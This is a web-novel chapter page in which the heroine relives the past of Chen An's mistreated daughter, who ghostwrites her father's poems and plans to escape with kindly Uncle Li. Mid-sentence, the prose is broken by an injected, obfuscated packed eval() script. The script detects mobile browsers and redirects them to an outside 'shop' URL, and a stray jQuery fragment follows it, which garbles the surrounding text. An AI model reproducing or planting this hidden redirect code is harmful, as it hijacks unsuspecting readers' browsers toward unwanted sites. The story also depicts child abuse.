默认冷灰
24号文字
方正启体

11. 碧霄

作者:尾日晞本书字数:K更新时间:
    “怀光,怀光——”小蘑下意识地呼喊着怀光的名字,心里害怕极了。二人在一片黑暗中漂浮着,不知何处来的风吹得小蘑左晃右摇,似是想把它从怀光的手腕上拽下来。


    “别怕小蘑,我在。”怀光用手掌扣住腕上的编绳,以保护的姿态牢牢地护着它。


    小蘑急切地问:“你怎么样怀光,有没有哪里受伤?”


    “我没事。”怀光的声音一如既往地柔和清亮,语气中带着安抚。


    感受到传来的温热体温,小蘑不安的心总算是放了下来,“你没事就好。”


    “那位前辈似乎只是想把我们困在这里,并没有杀意。”怀光试图催动妖力,却感到隐隐的桎梏,“我的妖力被限制了,其他人也不见踪影,不能坐以待毙,我们得想办法出去。”


    或许尽头会有出口,她蹬蹬腿,试图加快向前漂浮的速度。


    “怀光怀光,前面好像有东西……”不知何时出现了一大团绿色的光晕。


    一直吹着的风停止了,怀光飘在光晕前,观察着它。


    “这是什么东西?”怀光伸手碰了碰,“似乎是一道门……”


    光晕在一片黑暗中荧荧地发着光,给她一股很强烈的熟悉感。


    既然好奇,去看看不就好了。


    或许出去的办法也在其中。


    “我们一起去看看,小蘑。”怀光用手罩着腕上编绳,不知光晕中里面会是什么,她不能弄丢了它。


    怀光是在一片兰花丛中醒来的。只见眼前的小河从上游淙淙流淌而下,河水清澈见底,隐约可见在里面游动的小鱼。放眼望去,两岸全长满了各式各样的兰花,一株一叶,尽态极妍。空气中满是兰花淡淡的清香。


    她低头看向手腕,寻找着小蘑的身影。


    极为清瘦的腕骨上挂着白褐色的编绳,原本合适的尺寸大了许多,虽不至于掉下来,但也不免有些空荡。


    这不是她的身体。


    “小蘑小蘑,你还好吗?”怀光轻轻呼唤着小蘑的名字。


    “唔——我没事。”小蘑悠悠转醒,原本的迷糊感在看清怀光的时候完全清醒,“怀光,你的样子?!”


    见怀光并不惊讶,它又看了看周围,疑问道:“我们这是在哪里?”


    “这里是……落花村。”那个遍地兰花的落花村。


    怀光站起来走到河边,透过水中倒影看清了自己的模样。


    水中的人极瘦,并不合身的葛袍空荡荡地挂在身上。发如枯草,面色蜡黄,小小的脸上带着藏不住的疲累。那双眼却很明亮,里面藏着野草般的坚韧和生命力,似乎什么困难都不能打倒她。怪不得李前辈会说这样的人不会一夜死于急病。


    这人怀光认得,是陈安那个早逝的女儿。


    长期的饥饿使得小女孩发育不良,怀光隐约觉得此时比她在棺材中看到的要小一点。


    “她怎么看起来比棺材里的还要瘦弱?”小蘑有些难过,“这是以前吗?那我们不是能够亲眼看见到底发生过什么?”


    怀光:“嗯……或许不是亲眼看见,而是亲身经历。”某种意义上那位前辈确实告诉了他们会发生什么。


    “大丫——”不远处传来一声叫喊。


    身体不由自主地从河边往坡上跑去,兴高采烈地应道:“来了,李叔。”


    她竟然叫大丫吗?这么大的孩子连个正式的名字都没有……


    来人正是带他们来到落花村的那位李前辈,与十五年后不同,此时的他杵着一根拐杖,走起路来颤颤巍巍,身上穿的也是带着补丁的旧衣,看起来日子过得也并不容易。


    “李叔您在家叫我就好,怎么出来了?您的腿不能久站的。”怀光扶着李叔在旁边的树荫下坐下,关心地说着,“我听见您叫我会跑着来见您的,我跑的很快的。”


    “不打紧不打紧,小小的一段路很近的。”李叔摆摆手,从怀中掏出一张糠饼,宝贝一样递给怀光,“我今天早晨刚做的,这会儿还热乎着,你趁热快吃。”


    “谢谢李叔,你叔你也吃。”怀光把手中的饼掰开,分了一半递给他。


    李叔推拒道:“不用不用,李叔吃过了。”


    “我知道啊,但是我想跟李叔一起吃,您如果不吃,那我也不吃了。”怀光听见女孩心里的担忧,他这样腿脚不便,自己活得也很是艰难,经常有一顿没一顿的,怎么可能吃过了?


    见女孩坚持,李叔只好接过饼,两人一起吃了起来。


    与之前沈潭给的软软的麦饼不同,这饼是稻谷的糠皮磨碎了做成的,粗糙干硬、很拉嗓子,怀光只觉难以下咽,可眼前的李叔和曾经的大丫却吃的很是香甜,仿佛手中的是玉盘珍羞。


    李叔吃完饼,慈爱地看着还在啃的怀光说道:“你最近还好吗?陈安最近没有打你吧?”


    怀光坐在李叔旁兀自嚼着饼,默不作声。


    “他又打你了是不是?!”李叔气的站了起来,一时之间忘记自己不良于行,踉跄一下摔倒在地。


    “李叔?!!”怀光赶紧把他扶起坐好,细细检查着他有没有哪里摔着。


    “我没事没事,只是摔了一下而已。”李叔愤恨咒骂道:“畜生,真是畜生,他们怎么能这样对待你?”


    “明明靠你的诗稿养活全家,却说是他陈安所作;明明是自己不穿的旧葛衣,却说是专门为你所买;甚至连饭都不给你吃饱,对外却宣扬是你挑食。”


    “用外人面前虚假的关心营造出含辛茹苦的慈爱父母,用每月不停的城中集会塑造出文采斐然的撰诗才子。他们太会伪装了,以至于村子里根本没人信你我的话。”


    李叔心疼得看着眼前的女孩,“怎么就摊上了这样的父母呢?”


    怀光笑笑,“没关系的李叔,阿爹是读书人,他打的一点都不疼的。”


    “我现在太小了,城卫见到我会按照路引上的信息找到阿爹阿娘的,要等我再长大一些。”


    “等长大到十二岁我就能自己离开村子,阿爹认识好多城里的人,我不去陈留城,去离这里更远一些的昭武城。山阳


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144504|196374||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    城也不错,那是济北州最大的城,肯定很繁华……那么远,阿爹阿娘肯定找不到我。”她絮絮叨叨地说着,双眼亮的发光。


    “李叔您跟我一起走好不好?您是村里唯一对我好的人,如果没有您时不时给我吃的,或许我早就饿死。您跟我一起走,您没儿女,以后我就是您的亲孙女。”


    “我的诗卖的很好的,阿爹每次拿着诗稿出去回来都很高兴。到时候我就继续写诗卖稿,肯定能够养点我们俩,到时候我们一起过好日子,穿没有补丁的新衣服,吃香喷喷的大米饭……”


    “好不好,爷爷?”


    在女孩真挚的目光中,李叔仿佛也看见了那触手可及的幸福生活,他热泪盈眶地点头。“那我每天给大丫做饭吃,再编编竹筐竹篓什么的卖掉……不能让大丫一个人辛苦。”


    怀光点点头,满含憧憬地说:“那时,我的诗篇终于能署上我的名字。大丫这个名字不好,叫什么呢?听兰?不好不好,与兰花有关容易被阿爹找到。”


    “为溪?不好不好,有点平淡了……”


    “碧霄怎么样?爷爷。晴空一鹤排云上,便引诗情到碧霄的碧霄。”


    李叔拂袖擦去眼底的泪光,笑盈盈地看着她:“好啊好啊,我们鹤引这么厉害,说不定以后会名扬四州呢!”


    绿色的光晕再次出现,一缕一缕围绕着怀光,温柔地把她从女孩的身体中拉了出来。二人说话的样子渐渐远去,消失在黑暗里。


    怀光还未睁眼看清眼前的场景,一道藤条先落在了背上,火辣辣的疼。


    随后便是男子铺天盖地的骂声,“怎么今天写的这么慢,你是不是偷懒了?”


    “贱骨头,不打你根本不好好写。”


    怀光睁眼看见的就是眼前窄小的桌子,这具身体正在和她主人曾经那样奋笔疾书,瘦小的女孩只占了桌子的一小块地方,另一侧放着四五沓还未写的白纸。


    看着纸上熟悉的笔迹,怀光突然意识到,那个石头上的“落花村”是这女孩写的。这样好的字,这样惊人的天赋,如果她平安长大,或许真的能够名扬四州。


    身旁的男人似乎看不见女儿手上突然多出来的白褐编绳。年轻时的陈安不是怀光见到的长袖善舞、见人总带笑意的样子,他手上正拿着用来鞭打的藤条,一身麻衣,面部狰狞,不停催促着女儿快写。


    怀光身上的衣服不再是白日里看见的旧葛衣,变成了一件几乎全是补丁的破麻衣,补丁的针脚跟那李叔身上的一模一样,想来那件也是小小的女孩一针一线缝的。


    此时天色已深,不大的屋子中却只有一盏昏暗的油灯,不在这张用来撰写诗稿的小桌上,在离她很远的床边。陈夫人就坐在床上专心地擦拭着那件女孩穿过的旧葛衣,对发生的一切熟视无睹,似乎过去的每一天都是这样度过的。


    非打即骂的阿爹,事后假意安慰的阿娘。


    怀光只感受片刻已觉痛苦,可那个女孩却如此努力地长到了十二岁。


    整整四千三百多个日夜,日日煎熬。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)